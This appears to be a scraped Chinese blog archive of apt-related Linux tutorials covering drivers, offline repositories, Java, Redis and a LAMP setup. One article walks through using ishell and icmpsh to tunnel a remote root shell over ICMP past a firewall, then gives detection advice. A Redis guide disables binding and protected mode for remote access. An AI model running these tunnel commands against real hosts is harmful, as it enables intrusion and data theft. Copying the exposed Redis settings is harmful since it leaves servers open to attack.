debian9利用apt安装显卡驱动

安装头文件

sudo apt-get install linux-headers-$(uname -r|sed 's,[^-]*-[^-]*-,,') nvidia-kernel-dkms

安装配置文件生成器

sudo apt-get install nvidia-xconfig

重启

reboot

安装驱动

apt-get install nvidia-driver

生成配置文件

nvidia-xconfig

重启

reboot

查看驱动

nvidia-settings

利用官网得 run文件安装,把我折磨的够呛。不是缺这就是缺那。。。
利用apt安装就是爽

APT攻击之ICMP隐蔽信道穿越防火墙(二)

ICMP全称为因特网控制信息协议其数据包封装在 IP包的数据部分,也就是说它是位于IP层之上的一个协议 但是通常将它归人IP层。

ICMP通过在支持它的主机之间、 主机与路由器之间发送ICMP数据包 来实现信息查询和错误通知的功能。

ICMP有很多类型的数据报,例如,可以利用icmp获取主机信息,当前时间、路由信息,IP数据包可达的错误信息等。正是由于这些功能的实现,方便了开发者和运维人员,同时也为网络攻击者利用ICMP进行攻击带来了可乘之机。

目前,据我所知,利用ICMP有以下攻击手段;

  1. 利用ICMP echo数据包进行DDOS攻击,

  2. 利用ICMP重定向报文进行IP欺骗和窃听

  3. 利用ICMP的路由器的广播报文进行IP欺骗

  4. 利用ICMP隧道机制绕过防火墙进行远程控制和数据窃取

以上四中攻击方式中利用ICMP进行攻击最严重、影响范围最大就是第4种攻击手法了。也是APT攻击者经常使用的攻击手法之一。

下面结合案例重点说说使如何利用开源工具,绕过防火墙的。上次已经介绍了一种利用ICMP隧道进行常规端口的转发(https://mp.weixin.qq.com/s?__biz=MzIyMjc3NjIwMw==&mid=2247483806&idx=1&sn=93d3de1b014845f9a549e7b256a5feb6&chksm=e8291f7adf5e966ca7a572ecc304e25d7721a394ca01306917ce86b76219b9d60b0c3218dec5&token=249731531&lang=zh_CN&scene=21#wechat_redirect)。今天来说说,在主机不需要开任何端口的情况下如何绕过企业的防火墙对被控主机进行远程控制和窃取数据。

一、目前网络现状

目前企业的生产环境基本是业务服务器在DMZ区域,客户端在内外区域,服务器和客户端主机可以使用社会工程学方式。例如通过电子邮件钓鱼或者水坑攻击的方式把木马程序附加在pdf文档或者office文档载体中,一旦程序运行,就可以接收到来自攻击者机器上的客户端的ICMPecho数据包,客户端把要执行的指令封装到ICMP数据包中,当服务器接收到该数据包,解析指令,并在受控主机上运行。把结果再封装进ICMP数据包中,回传给攻击者。

现在企业的防火墙对有外到内的行为是禁止的,但是为了管理和维护方便,一般ICMP协议都是开启状态的。这样就实现了穿越防火墙的目的。

该种攻击,因为对受控主机进行数据窃取和远程控制,所以具有非常大的危害性。

二、攻击演示

下面列举了详细的攻击过程和攻击方式,方便更加细致和透彻的理解ICMP隧道的机制。

未分类

首先需要在被控主机上安装icmpshell,对其进行编译后会生成两个可执行的文件,一个是ish是控制端使用的,一个是ishd是被控端使用的。

命令如下:

tar -zxvf ish-v0.2.tar.gz

cd ISHELL-v0.2

make && make linux

未分类

安装之后,需要在被控端服务器执行如下命令:

  • -i 指定ID,标识自己的请求

  • -t 指定icmp数据的类型

  • -p 指定 icmp 数据 包大小 ,一般 情况下 1024 即可

./ishd -i 555 -t 0 -p 1099 &

在被控主机上执行如下命令,主动连接到

./ish -i 555 -t 0 -p 1099 主控制端IP地址

未分类

在主控端,需要指定相同的表示id,以表明自己的身份信息,发送的数据包大小为1099字节,和对方可以ping通的ip地址。就能够通过ICMP协议成功连接到被控主机系统,并且具有root权限,可以进行任何操作。

未分类

在操作过程中也通过tcpdump对数据流进行数据包,因为icmp是明文通讯协议,所有的数据包通讯内容都可以在数据包中回溯和还原整个攻击的场景,如下图在数据包中可以清晰的看到执行的命令,查看的数据内容,并且可以通过icmp协议传输数据。

未分类

在icmp隧道的应用中还有一个非常好用的攻击,那就是icmpsh。该软件的稳定性非常好,而且每个1秒受控主机不停的给主控端主机发送ICMP的心跳数据包。

在主控主机上运行如下命令:先关闭主机自身的icmp,防止出现不稳定的情况。

sysctl -w net.ipv4.icmp_echo_ignore_all=1 (sysctl -w net.ipv4.icmp_echo_ignore_all=0 恢复正常状态)
  • -t:制定主控端的IP地址,必填项

  • -d milliseconds 延迟

  • -b num 限制块

  • -s bytes 发送的最大字节

在主控端执行命令

python icmp_m.py 192.168.1.29[本地主机] 192.168.1.34[被控主机]

受控主机执行:

icmpsh.exe -t 192.168.1.29[主控端地址] -d 600 -b 20 -s 256

未分类

三、对策和建议

使用DPI深度包解析技术,对ICMP数据包内容进行进行检查,是否符合icmp协会规范和RFC标准。这样检查对设备的性能要求特别高,设置出错不但不能检测还能影响整个网络的带宽速率。

折中的方法,可以利用机器学习方法进行检测。例如:可以利用神经网络和贝叶斯算法,对ICMP的异常进行概率统计,找到异常通讯的ICMP数据包,进行安全检测。

最有效的解决方法是在互联网出口对ICMP协议进行完全禁止。或者只对信任的IP源地址开发ICMP通讯。

Linux中apt与apt-get命令的区别与解释

Ubuntu 16.04 发布时,一个引人注目的新特性便是 apt 命令的引入。其实早在 2014 年,apt 命令就已经发布了第一个稳定版,只是直到 2016 年的 Ubuntu 16.04 系统发布时才开始引人关注。

随着 apt install package 命令的使用频率和普遍性逐步超过 apt-get install package,越来越多的其它 Linux 发行版也开始遵循 Ubuntu 的脚步,开始鼓励用户使用 apt 而不是 apt-get。

那么,apt-get 与 apt 命令之间到底有什么区别呢?如果它们有类似的命令结构,为什么还需要新的 apt 命令呢?是否 apt 真的比 apt-get 更好?普通用户应该使用新的 apt 命令还是坚持旧有习惯继续使用 apt-get 呢?

系统极客将在本文中解释所有这些问题,我们希望本文结束时,你将会有一个更清晰的了解。

apt与apt-get

在开始对比 apt 与 apt-get 命令的区别之前,我们先来看看这两个命令的背景,以及它们要试图达到的目的。

Debian 作为 Ubuntu、Linux Mint 和 elementary OS 等 Linux 操作系统的母板,其具有强健的「包管理」系统,它的每个组件和应用程序都内置在系统中安装的软件包中。Debian 使用一套名为 Advanced Packaging Tool(APT)的工具来管理这种包系统,不过请不要把它与 apt 命令混淆,它们之间是其实不是同一个东西。

在基于 Debian 的 Linux 发行版中,有各种工具可以与 APT 进行交互,以方便用户安装、删除和管理的软件包。apt-get 便是其中一款广受欢迎的命令行工具,另外一款较为流行的是 Aptitude 这一命令行与 GUI 兼顾的小工具。

如果你已阅读过我们的 apt-get 命令指南(https://www.sysgeek.cn/linux-package-management/),可能已经遇到过许多类似的命令,如apt-cache、apt-config 等。如你所见,这些命令都比较低级又包含众多功能,普通的 Linux 用户也许永远都不会使用到。换种说法来说,就是最常用的 Linux 包管理命令都被分散在了 apt-get、apt-cache 和 apt-config 这三条命令当中。

apt 命令的引入就是为了解决命令过于分散的问题,它包括了 apt-get 命令出现以来使用最广泛的功能选项,以及 apt-cache 和 apt-config 命令中很少用到的功能。

在使用 apt 命令时,用户不必再由 apt-get 转到 apt-cache 或 apt-config,而且 apt 更加结构化,并为用户提供了管理软件包所需的必要选项。

简单来说就是:apt = apt-get、apt-cache 和 apt-config 中最常用命令选项的集合。

apt与apt-get之间的区别

通过 apt 命令,用户可以在同一地方集中得到所有必要的工具,apt 的主要目的是提供一种以「让终端用户满意」的方式来处理 Linux 软件包的有效方式。

apt 具有更精减但足够的命令选项,而且参数选项的组织方式更为有效。除此之外,它默认启用的几个特性对最终用户也非常有帮助。例如,可以在使用 apt 命令安装或删除程序时看到进度条。

未分类

apt 还会在更新存储库数据库时提示用户可升级的软件包个数。

未分类

如果你使用 apt 的其它命令选项,也可以实现与使用 apt-get 时相同的操作。

apt和apt-get命令之间的区别

虽然 apt 与 apt-get 有一些类似的命令选项,但它并不能完全向下兼容 apt-get 命令。也就是说,可以用 apt 替换部分 apt-get 系列命令,但不是全部。

未分类

当然,apt 还有一些自己的命令:

未分类

需要大家注意的是:apt 命令也还在不断发展, 因此,你可能会在将来的版本中看到新的选项。

apt-get已弃用?

目前还没有任何 Linux 发行版官方放出 apt-get 将被停用的消息,至少它还有比 apt 更多、更细化的操作功能。对于低级操作,仍然需要 apt-get。

我应该使用apt还是apt-get?

既然两个命令都有用,那么我该使用 apt 还是 apt-get 呢?作为一个常规 Linux 用户,系统极客建议大家尽快适应并开始首先使用 apt。不仅因为广大 Linux 发行商都在推荐 apt,更主要的还是它提供了 Linux 包管理的必要选项。

最重要的是,apt 命令选项更少更易记,因此也更易用,所以没理由继续坚持 apt-get。

小结

最后结大家提供两点使用上的建议:

  • apt 可以看作 apt-get 和 apt-cache 命令的子集, 可以为包管理提供必要的命令选项。
  • apt-get 虽然没被弃用,但作为普通用户,还是应该首先使用 apt。

Ubuntu中apt命令自动补全设置

在Ubuntu中安装软件和包,apt命令是必不可少的,虽然类似于Python的pip一样十分方便,但安装的包名却是一个比较烦人的问题。 需要安装的报名太长、单词记不住、版本号不对(对于有些依赖库而言,要求是版本号是完全对应的,低的高的都不行,不适用向下兼容原则)等等问题,所以如果可以有包名的自动补全功能就好了。 而事实上也是有的,但似乎默认并没有开启。因为在新安装的系统上试了一下,是不会自动补全的。 所以下面记录一下设置步骤。

1. 安装bash-completion

在终端输入命令

apt-get install bash-completion

一般情况下这个包应该系统都自动装好了,如果没有就装一下。

2.修改配置文件

在终端中输入以下命令

gedit /etc/bash.bashrc

这样就能用Gedit打开配置文件,找到被注释掉的蓝色的一段代码,如下所示。

未分类

把这段代码取消注释,并保存,如下所示,即可使自动补全功能生效了。

未分类

3.测试

之前一直需要安装一个libcholmod的库,但是按照书上给的libcholmod-dev提示找不到包,在网上找了找,说是版本不对。 有说装libcholmod2.1.2成功的,有说装libcholmod3.0.14成功的,可惜的是在我电脑上两个都不行。 而且之前没有设置apt的自动补全,所以完全不知道我的电脑应该装哪个版本。但在设置了自动补全后终于可以了,原来我的电脑对应的版本是3.0.6,如下所示。

未分类

这样配置apt自动补全就大功告成了,成功解决了一个我的问题。

4. 题外话

关于apt自动补全,我看网上也有博客说修改~/.bashrc文件的,如这篇和这篇博客,但经过我的测试,在我的电脑上无效,而且设置完后还报了.:command not found的错误。 而且我看了~/.bashrc的文件内容如下。

未分类

上面博客中说的添加的内容其实就是这里被注释掉的蓝色部分。而稍微阅读一下注释就会发现,人家说,你不需要在这里开启这段代码,如果它已经在/etc/bash.bashrc中开启了的话。 而我们上面其实是按照系统的提示,修改了/etc/bash.bashrc,所以就不需要再改这里了。 当然如果你按照我上面的方法修改不起作用,那你可以按照刚提到的这两篇博客的内容试试,应该也是可以的。

Ubuntu apt 本地源 离线安装

今天一台主机(Ubuntu 14.04)不知道为什么连不上外网了。只能和局域网内的其他主机相互ping通。但是上面一个正在跑的程序出了问题,需要安装两个额外的包,而且这两个包依赖还挺多的样子。这可急死我了。但是我另一台笔记本可以上外网。碰巧也安装的是Ubuntu14.04。我就想能不能把要安装的包先在笔记本上下载好,然后通过U盘转移到前面那台主机上,再在那台主机上通过本地包安装呢?通过网上一番搜索后,终于搞定了。现在总结一下步骤。

在能上网的笔记本上下载好需要的包

$ sudo rm -rf /var/cache/apt/archives/*  # 清空缓存目录,这一步也可以不做
$ sudo apt-get -d install <包名>

运行完该命令后,需要的包及依赖都会下载到 /var/cache/apt/archives。

复制到U盘中

将下载好的包( /var/cache/apt/archives目录下的所有文件)复制到U盘中,准备转移。如果你不想拷贝多余的包文件,你可以提前将 /var/cache/apt/archives 目录清空后再下载需要的包。

# 先在U盘中创建好一个目录debs
$ sudo cp -r /var/cache/apt/archives/* /U盘/路径/debs/

下面转到不能上网的主机上操作

在主机上创建包缓存目录

$ sudo mkdir /var/debs

将U盘中下载好的包文件全部复制到/var/debs目录下

$ sudo cp -r /U盘/路径/debs/* /var/debs/

生成包索引文件

$ sudo touch /var/debs/Packages.gz
$ sudo chmod -R 777 /var/debs/  # 这一步是为了获得文件的可写可读可执行权限,要不然后面会失败
$ sudo dpkg-scanpackages debs  /dev/null  | gzip > debs/Packages.gz  # 创建索引

在 /etc/apt/sources.list 中添加本地目录

$ sudo gedit /etc/apt/sources.list

将sources.list 原来的内容都注释掉。在最后添加

$ deb file:/var debs/

注意上面的 /var 和 debs/ 之间的空格,以及 “/”。不要写错/var/debs/路径了。

更新索引

$ sudo apt-get update

结束

现在可以安装包了。运行sudo apt-get install <包名> 就会像以前一样安装好了指定的包了。

Ubuntu apt 安装redis 修改redis配置

apt安装redis

sudo apt update
sudo apt install redis-server 

安装完成默认是启动了redis服务

  • 关闭
sudo service redis-server stop
  • 开启服务
sudo servcie redis-server start
  • 重启
sudo service redis-server restart

redis简单使用

redis-cli

修改redis配置 远程访问

sudo vim /etc/redis/redic.conf

注释掉本机ip

# bind 127.0.0.1 
 protected-mode no #将yes修改成no

重启一下服务: sudo service redis-server restart 就可以了。
就可以远程 RedisDesktop Manager 可视化客户端连接了。

在Ubuntu 18.04上使用apt安装Java

安装默认的JRE/JDK

安装Java的最简单方法是使用与Ubuntu一起打包的版本。默认情况下,Ubuntu 18.04包含Open JDK,它是JRE和JDK的开源版本。

该软件包将安装OpenJDK 10或11。

  • 在现在,这将安装OpenJDK 10。
  • 在2018年9月以后,这将安装OpenJDK 11。

要安装此版本,请先更新软件包索引:

sudo apt update

接下来,检查 Java 是否已经安装:

java -version

如果Java当前未安装,你将看到以下输出:

Command 'java' not found, but can be installed with:

apt install default-jre
apt install openjdk-11-jre-headless
apt install openjdk-8-jre-headless
apt install openjdk-9-jre-headless

执行以下命令来安装OpenJDK:

sudo apt install default-jre

该命令将安装Java运行时环境(JRE)。这将允许你运行几乎所有的Java软件。

验证安装:

java -version

你将看到以下输出:

openjdk version "10.0.1" 2018-04-17
OpenJDK Runtime Environment (build 10.0.1+10-Ubuntu-3ubuntu1)
OpenJDK 64-Bit Server VM (build 10.0.1+10-Ubuntu-3ubuntu1, mixed mode)

除了JRE之外,你可能还需要Java开发工具包(JDK)才能编译和运行一些特定的基于Java的软件。要安装JDK,请执行以下命令,该命令也将安装JRE:

sudo apt install default-jdk

通过检查javac Java编译器的版本来验证是否安装了JDK :

javac -version

你将看到以下输出:

javac 10.0.1

接下来,我们来看看指定我们要安装的OpenJDK版本。

安装OpenJDK的特定版本

虽然你可以安装默认的OpenJDK软件包,但你也可以安装不同版本的
OpenJDK。

OpenJDK 8

Java 8是目前的长期支持版本,虽然公共维护在2019年1月结束,但仍然得到广泛支持。要安装OpenJDK 8,请执行以下命令:

sudo apt install openjdk-8-jdk

验证安装:

java -version

你会看到这样的输出:

openjdk version "1.8.0_162"
OpenJDK Runtime Environment (build 1.8.0_162-8u162-b12-1-b12)
OpenJDK 64-Bit Server VM (build 25.162-b12, mixed mode)

也可以只安装JRE,你可以通过执行sudo apt install openjdk-8-jre来安装它。

OpenJDK 10/11

Ubuntu的存储库包含一个安装Java 10或11的软件包。在2018年9月之前,该软件包将安装OpenJDK 10.一旦Java 11发布,该软件包将安装Java 11。

要安装OpenJDK 11,请执行以下命令:

sudo apt install openjdk-11-jdk

要仅安装JRE,请使用以下命令:

sudo apt install openjdk-11-jre

安装Oracle JDK

如果你想安装由Oracle发布的正式版本Oracle JDK,则需要为要使用的版本添加新的软件包存储库。

要安装作为最新LTS版本的Java 8,请首先添加其软件包存储库:

sudo add-apt-repository ppa:webupd8team/java

当你添加存储库时,你会看到如下消息:

 Oracle Java (JDK) Installer (automatically downloads and installs Oracle JDK8). There are no actual Jav
a files in this PPA.

Important -> Why Oracle Java 7 And 6 Installers No Longer Work: http://www.webupd8.org/2017/06/why-oracl
e-java-7-and-6-installers-no.html

Update: Oracle Java 9 has reached end of life: http://www.oracle.com/technetwork/java/javase/downloads/j
dk9-downloads-3848520.html

The PPA supports Ubuntu 18.04, 17.10, 16.04, 14.04 and 12.04.

More info (and Ubuntu installation instructions):
- for Oracle Java 8: http://www.webupd8.org/2012/09/install-oracle-java-8-in-ubuntu-via-ppa.html

Debian installation instructions:
- Oracle Java 8: http://www.webupd8.org/2014/03/how-to-install-oracle-java-8-in-debian.html

For Oracle Java 10, see a different PPA: https://www.linuxuprising.com/2018/04/install-oracle-java-10-in-ubuntu-or.html

More info: https://launchpad.net/~webupd8team/+archive/ubuntu/java
Press [ENTER] to continue or Ctrl-c to cancel adding it.

按ENTER继续。然后更新你的软件包列表

sudo apt update

包列表更新后,安装Oracle Java 8:

sudo apt install oracle-java8-installer

你的系统将从Oracle下载JDK并要求你接受许可协议。接受协议并安装JDK。

管理Java版本

你可以在一台服务器上安装多个Java。你可以使用update-alternatives命令配置哪个版本是命令行上使用的默认版本。

sudo update-alternatives --config java

如果你已经在本教程中安装了所有版本的Java,则输出结果如下所示:

There are 3 choices for the alternative java (providing /usr/bin/java).

  Selection    Path                                            Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-11-openjdk-amd64/bin/java      1101      auto mode
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java      1101      manual mode
  2            /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java   1081      manual mode
  3            /usr/lib/jvm/java-8-oracle/jre/bin/java          1081      manual mode

选择与 Java 版本关联的数字以将其用作默认值,或按下ENTER以保留当前设置。

你可以为其他Java命令执行此操作,如compiler(javac):

sudo update-alternatives --config javac

可以运行该命令的其他命令包括但不限于:keytool,javadoc和jarsigner。

设置JAVA_HOME环境变量
许多使用Java编写的程序使用JAVA_HOME环境变量来确定Java的安装位置。

要设置此环境变量,请先确定Java的安装位置。使用update-alternatives命令:

sudo update-alternatives --config java

该命令显示Java的每个安装版本及其安装路径:

There are 3 choices for the alternative java (providing /usr/bin/java).

  Selection    Path                                            Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-11-openjdk-amd64/bin/java      1101      auto mode
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java      1101      manual mode
  2            /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java   1081      manual mode
  3            /usr/lib/jvm/java-8-oracle/jre/bin/java          1081      manual mode

Press <enter> to keep the current choice[*], or type selection number:

在这种情况下,安装路径如下所示:

OpenJDK 11位于 /usr/lib/jvm/java-11-openjdk-amd64/bin/java.
OpenJDK 8位于/usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java。
Oracle Java 8位于/usr/lib/jvm/java-8-oracle/jre/bin/java。

复制首选安装的路径。然后打开/etc/environment使用nano或你最喜爱的文本编辑器:

sudo nano /etc/environment

在该文件的末尾,添加以下行,确保使用自己的复制路径替换突出显示的路径:

JAVA_HOME="/usr/lib/jvm/java-11-openjdk-amd64/bin/java"

修改此文件将为JAVA_HOME系统上的所有用户设置路径。

保存文件并退出编辑器。

现在重新加载此文件以将更改应用于当前会话:

source /etc/environment

验证是否设置了环境变量:

echo $JAVA_HOME

你会看到你刚刚设置的路径:

/usr/lib/jvm/java-11-openjdk-amd64/bin/java

其他用户需要执行该命令source /etc/environment或注销并重新登录才能应用此设置。

创建一个简易 APT 仓库

作为我工作的一部分,我所维护的 PATHspider 依赖于 cURL 和 PycURL中的一些刚刚被合并或仍在等待被合并的功能。我需要构建一个包含这些 Debian 包的 Docker 容器,所以我需要快速构建一个 APT 仓库。

Debian 仓库本质上可以看作是一个静态的网站,而且内容是经过 GPG 签名的,所以它不一定需要托管在某个可信任的地方(除非可用性对你的程序来说是至关重要的)。我在 Netlify(一个静态的网站主机)上托管我的博客,我认为它很合适这种情况。他们也支持开源项目。

你可以用下面的命令安装 netlify 的 CLI 工具:

sudo apt install npm
sudo npm install -g netlify-cli

设置仓库的基本步骤是:

mkdir repository
cp /path/to/*.deb repository/
cd repository
apt-ftparchive packages . > Packages
apt-ftparchive release . > Release
gpg --clearsign -o InRelease Release
netlify deploy

当你完成这些步骤后,并在 Netlify 上创建了一个新的网站,你也可以通过 Web 界面来管理这个网站。你可能想要做的一些事情是为你的仓库设置自定义域名,或者使用 Let’s Encrypt 启用 HTTPS。(如果你打算启用 HTTPS,请确保命令中有 apt-transport-https。)

要将这个仓库添加到你的 apt 源:

gpg --export -a YOURKEYID | sudo apt-key add -
echo "deb https://SUBDOMAIN.netlify.com/ /" | sudo tee -a /etc/apt/sources.list
sudo apt update

你会发现这些软件包是可以安装的。注意下 https://wiki.debian.org/AptPreferences ,因为你可能会发现,根据你的策略,仓库上的较新版本实际上并不是首选版本。

更新:如果你想要一个更适合平时使用的解决方案,请参考 https://mirrorer.alioth.debian.org/ 。如果你想让最终用户将你的 apt 仓库作为第三方仓库添加到他们的系统中,请查看 https://wiki.debian.org/DebianRepository/UseThirdParty ,其中包含关于如何指导用户使用你的仓库。

更新 2:有一位评论者指出用 https://www.aptly.info/ ,它提供了更多的功能,并消除了 repropro 的一些限制。我从来没有用过 aptly,所以不能评论具体细节,但从网站看来,这是一个很好的工具。

Ubuntu 16.04 下通过 apt 安装 ActiveMQ

  • 更新系统软件包
sudo apt update 
sudo apt upgrade
  • 安装 jdk
sudo apt install default-jdk
  • 安装、启动 ActiveMQ
sudo apt install activemq
sudo systemctl start activemq
  • 查看
sudo systemctl status activemq
netstat -nl|grep 61616

说明:截止到2018-01-26 这种方式都还是有问题的【active (exited)】,已有人提交 bug report。

  • Web 管理页:http://127.0.0.1:8161/admin/

  • 服务状态说明

loaded              # 系统服务已经初始化完成,加载过配置
active(running)     # 正有一个或多个程序正在系统中执行,守护进程 activemq 就应该是这种模式
atcive(exited)      # 仅执行一次就正常结束的服务,如 iptables
atcive(waiting)     # 正在执行中,不过还再等待其他的事件才能继续处理
inactive            # 服务关闭
enbaled             # 服务开机启动
disabled            # 服务开机不自启
static              # 服务开机启动项不可被管理
failed              # 系统配置错误

Ubuntu 17.10 用 apt 搭建 lamp 环境、安装 phpmyadmin、redis 服务+扩展、mysql 扩展、开启错误提示、配置虚拟主机

一、最终环境

Ubuntu17.10、Apache2.4.27、MySQL5.7.20、PHP7.1.8

二、安装 apache

官方源有,直接安装:

sudo apt-get install apache2

三、安装 mysql

官方源有,直接安装:

sudo apt-get install mysql-server

安装期间会提示设置 MySQL administrator 的密码

============================================

PS:需要什么软件或包,直接用 apt-cache 搜索

apt-cache search <关键词>

确认包名后,直接用 apt-get install 安装。

四、安装 php

官方源有 php7.1,直接安装:

sudo apt-get install php7.1 php7.1-dev

注意带上版本号,不然默认安装 7.x。php7.1 是主程序,php7.1-dev 是 7.1 版的开发包(有 phpize、php-config 等等,phpize 可以为 已编译好的 php 加载外挂模块,php-config 可以获得 php 的详细配置)。

============================================

如果要装 php5.6 的话,推荐这个 PPA 源:ppa:ondrej/php。这个源有 php5.6 和 php7.x 以及绝大多数的 php 扩展,包括 redis、memcache、mongodb 等等。

添加 ppa:ondrej/php 源:

sudo add-apt-repository ppa:ondrej/php
sudo apt-get update

安装 php5.6:

sudo apt-get install php5.6 php5.6-dev

五、重启 apache

sudo /etc/init.d/apache2 restart

更多选项:

Usage: apache2 {start|stop|graceful-stop|restart|reload|force-reload}

六、检查 apache

访问 http://localhost/。这是 apache 服务器的默认页在 /var/www/html 下,里面还介绍了 apche 的相关配置文件。

未分类

七、检查 mysql

终端输入 mysql,跟着打两个 Tab,看到所有有关 mysql 的命令包:

mingc@mingc-GE60-2PL:~$ mysql
mysql                      mysql_install_db
mysqladmin                 mysqloptimize
mysqlanalyze               mysql_plugin
mysqlbinlog                mysqlpump
mysqlcheck                 mysqlrepair
mysql_config_editor        mysqlreport
mysqld                     mysql_secure_installation
mysqld_multi               mysqlshow
mysqld_safe                mysqlslap
mysqldump                  mysql_ssl_rsa_setup
mysqldumpslow              mysql_tzinfo_to_sql
mysql_embedded             mysql_upgrade
mysqlimport               

输入 mysql -u<你的账号> -p ,回车,输入密码,进入 mysql:

mingc@mingc-GE60-2PL:~$ mysql -uroot -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or g.
Your MySQL connection id is 73
Server version: 5.7.20-0ubuntu0.17.10.1 (Ubuntu)

Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or 'h' for help. Type 'c' to clear the current input statement.

mysql>

八、检查 php

php -v

不出意外的话,应该显示 php 的版本

============================================

也可以查看 apache 和 mysql 版本:

apache2 -v
mysql -V

九、创建 php 探针

sudo vim /var/www/html/info.php

添加如下内容:

<?php
phpinfo();

改变所有者:

sudo chown www-data:www-data /var/www/html/info.php

访问 http://localhost/info.php,得到有关 PHP 的详细页面。

未分类

十、安装 phpmyadmin

sudo apt-get install phpmyadmin

安装期间,

询问要连接的服务器,选择 apache2;

询问创建 phpmyadmin 的数据库,选择“是”;

询问设置登录 phpmyadmin 的用户和密码。

然后浏览器访问:http://localhost/phpmyadmin

未分类

十一、安装 redis 服务和 redis 扩展

官方源有,直接安装:

(1)redis 服务器

sudo apt-get install redis-server

期间,一些需要的工具包也会自动安装。安装好后,默认自启动、后台运行,配置文件在 /etc/redis 目录下。

(2)php 的 redis 扩展模块

sudo apt-get install php-redis

其他的扩展也可以这么装,利用 apt-cache search 搜索包名,再用 apt-get install 安装。

重启 apche, sudo /etc/init.d/apache2 restart

访问 http://localhost/info.php,确认 redis 扩展:

未分类

测试一下:

终端输入 redis-,跟着打两个 Tab 键,看到有关 redis 的命令和工具:

mingc@mingc-GE60-2PL:~$ redis-
redis-benchmark  redis-check-rdb  redis-server    
redis-check-aof  redis-cli

redis-cli 是 访问 redis-server 的客户端接口,执行 redis-cli 即可登录到 redis 服务器:

mingc@mingc-GE60-2PL:~$ redis-cli
127.0.0.1:6379>

更多 redis-cli 的命令选项,使用 redis-cli –help 查看。

再写一段 php 脚本测试一下, vim /var/www/html/test_redis.php

内容如下:

<?php
$redis = new Redis();
$redis->connect('127.0.0.1', 6379);
echo "Connection to server sucessfully";
echo "Server is running: " . $redis->ping(); 

十二、安装 mysql 扩展

在上面的 http://localhost/info.php 里可以看到,没有 mysql 扩展。虽说 php7 弃用了 mysql 扩展,但有些旧项目还是需要的。装一下 mysql 扩展。

这里选择编译安装(通过 apt 安装的 php-mysql 扩展,如果是 php7.x,那就是装 pdo 和 pdo_mysql 扩展)

(1)直接从 PECL 官方站 搜索 mysql,找到 MySQL 扩展的 页面 ,点击页面的 [ Browse Source ],选择最新的 commit、下载 tar.gz 包。我下载后的包名为 mysql-fae9884.tar.gz。

(2)编译安装:

tar -xf mysql-fae9884.tar.gz
cd mysql-fae9884
phpize
./configure --with-php-config=/usr/bin/php-config
sudo make && sudo make install

前面装 php7.1 的时候,也装了 php7.1-dev,这里面就有 phpize 和 php-config。而 –with-php-config 是 php-config 程序(命令)的位置,可以使用 whereis php-config 查看。

编译安装成功后,会有成功提示 和 mysql 扩展模块(.so 文件)的路径:

Build complete.
Don't forget to run 'make test'.

Installing shared extensions:     /usr/lib/php/20160303/  

然后,编辑 php 用于 apache 的配置文件 /etc/php/7.1/apache2/php.ini,在最后添加一行:

extension=mysql.so

重启 apache, sudo /etc/init.d/apache2 restart

访问 http://localhost/info.php,确认下有了 mysql 扩展。

未分类

写一段 php 脚本测试: vim /etc/www/html/test_mysql.php

内容如下:

<?php
$mysql = mysql_connect('127.0.0.1', 'root', 'root');
if(!$mysql) {
    die(mysql_error($mysql));
}
echo 'Ok' . "rn";

由于 mysql 模块是手动编译安装的,所以默认不会进入 php 的命令行配置。

下面把 mysql 模块加入到 php 的 cli(命令行) 配置,让 php 的命令行模式也支持 mysql 模块:

sudo vim /etc/php/7.1/mods-available/mysql.ini

编辑内容如下:

extension=mysql.so

建立符号链接:

sudo ln -s /etc/php/7.1/mods-available/mysql.ini /etc/php/7.1/cli/conf.d/mysql.ini

检查一下,确认 php 命令行模式启用了 mysql 扩展模块:

php -m | grep mysql  

十三、开启 php 和 apache 的错误提示

默认不显示 php 错误,下面开启。

(1)修改 php 的配置文件,在 /etc/php/7.1/apache2 下,打开 php.ini。

(2)搜索 display_errors = Off,修改为 On

(3)搜索 error_reporting = E_ALL & ~E_NOTICE,修改为 E_ALL | E_STRICT(搜不到的话就搜短一点:“error_reporting =”)。

(4)修改 apache 的配置文件,在 /etc/apache2 下,打开 apache.conf。

(5)文件最后添加两行:

php_flag display_errors        on
php_value error_reporting       2039

(6)重启 apache:

sudo /etc/init.d/apache2 restart

十四、创建虚拟主机

创建虚拟主机自然用 apache 配置,了解一下 apache 的配置目录:

/etc/apache2
├── apache2.conf      # 主配置文件,其他的一些配置文件通过 Include 指令包含进来
├── conf-available    # 所有可用的配置文件(里面的 *.conf 文件内容几乎都被默认注释了)
├── conf-enabled      # 可用的配置文件中,启用了哪些,一般都是符号链接、指向上面的 conf-available 目录里每个 *.conf 文件
├── envvars           # 环境变量
├── magic
├── mods-available    # 所有可用的模块
├── mods-enabled      # 哪些模块被启用了
├── ports.conf        # 定义端口监听
├── sites-available   # 重点来了:所有可用的站点
└── sites-enabled     # 哪些站点被启用了

步骤简单,就是在 sites-available 目录定义站点配置文件,然后在 sites-enabled 里建立指向这个配置文件的符号链接。

(1)建配置

cd /etc/apache2/sites-available/
sudo cp 000-default.conf my.site.conf
vim my.site.conf

修改如下(注意别把注释与指令行放在一行,不然会有语法错误;精简版在后面):

<VirtualHost *:80>
    # The ServerName directive sets the request scheme, hostname and port that
    # the server uses to identify itself. This is used when creating
    # redirection URLs. In the context of virtual hosts, the ServerName
    # specifies what hostname must appear in the request's Host: header to
    # match this virtual host. For the default virtual host (this file) this
    # value is not decisive as it is used as a last resort host regardless.
    # However, you must set it for any further virtual host explicitly.

    # 域名
    ServerName my.site
    # 域名别名,可以设置多个,空格隔开
    ServerAlias my.site

    ServerAdmin webmaster@localhost

    # 站点根目录
    DocumentRoot /var/www/my.site
    <Directory "/var/www/my.site/">
        # 启用符号链接
        Options FollowSymLinks

        DirectoryIndex index.php index.html index.htm

        # 注意这个配置,会影响本地目录下的 .htaccess 的启用
        AllowOverride All

        Order deny,allow
        Allow from All

        # 限制访问目录,多个目录用冒号隔开
        # php_admin_value open_basedir "/var/www/my.site/:/tmp:/usr/lib/php/"
    </Directory>

